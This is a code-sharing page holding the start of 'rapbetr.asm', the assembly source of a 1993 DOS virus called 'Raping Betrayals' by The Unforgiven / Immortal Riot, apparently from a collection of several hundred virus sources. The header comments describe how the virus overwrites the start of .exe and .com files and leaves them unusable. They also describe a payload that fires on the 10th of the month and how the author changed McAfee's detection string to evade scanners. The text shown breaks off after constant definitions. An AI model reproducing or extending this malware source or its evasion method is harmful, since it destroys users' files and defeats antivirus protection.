rapbetr.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 53 行

; VirusName: Raping Betrayals
; Country  : Sweden
; Author   : The Unforgiven / Immortal Riot
; Date     : 15/09/1993
;
;
; This is an mutation of Misery from Immortal Riot.
; I mutated this one, cuz Mcafee scan grabbed it
; within one month after we released it. So, now
; "Misery" is called "Raping Betrayls". Many
; thanks to PCM2 for the original Leprosy virus.
;
; Okey..In this version I just changed the new
; Mcafee "Scan-String", by remarking some calls.
; I also added a day checker, and if the
; virus (or a infected file) is run at the 10:th
; any month, procedure "ellie" will go off..  
; Ellie is some sort of heart breaker!..<..hehe..>      
;
; It copies itself into other exe/com files on the current
; drive. The file-size will not be changed, cuz it just
; replaces the code in the beginning with itselves. The
; infected files will not work, instead the virus will 
; run again. The virus uses dot-dot metod for changing dirs. 
;
; There has been many mutations born from Leprosy,
; and here we give you yet another contribution...
; 
; McaFee Scan v108 can't find it, neither can S&S Toolkit 6.54
; Havn't tried with TBScan/F-prot, but they will probably
; identify it as "Leprosy".
;
;  Regards : The Unforgiven / Immortal Riot 

Title   Raping Betrayals	   ; By The Unforgiven / Immortal Riot
 
cr              equ     13         ;  Carriage return ASCII code
lf              equ     10         ;  Linefeed ASCII code
tab             equ     9          ;  Tab ASCII code
virus_size      equ     664        ;  Size of the virus file
code_start      equ     100h       ;  Address right after PSP in memory
dta             equ     80h        ;  Addr of default disk transfer area
datestamp       equ     24         ;  Offset in DTA of file's date stamp
timestamp       equ     22         ;  Offset in DTA of file's time stamp
filename        equ     30         ;  Offset in DTA of ASCIIZ filename
attribute       equ     21         ;  Offset in DTA of file attribute
 
 				   
        code    segment 'code'     ;  Open code segment
        assume  cs:code,ds:code    ;  One segment for both code & data
                org     code_start ;  Start code image after PSP
 
; 哪-哪哪哪-哪哪哪哪哪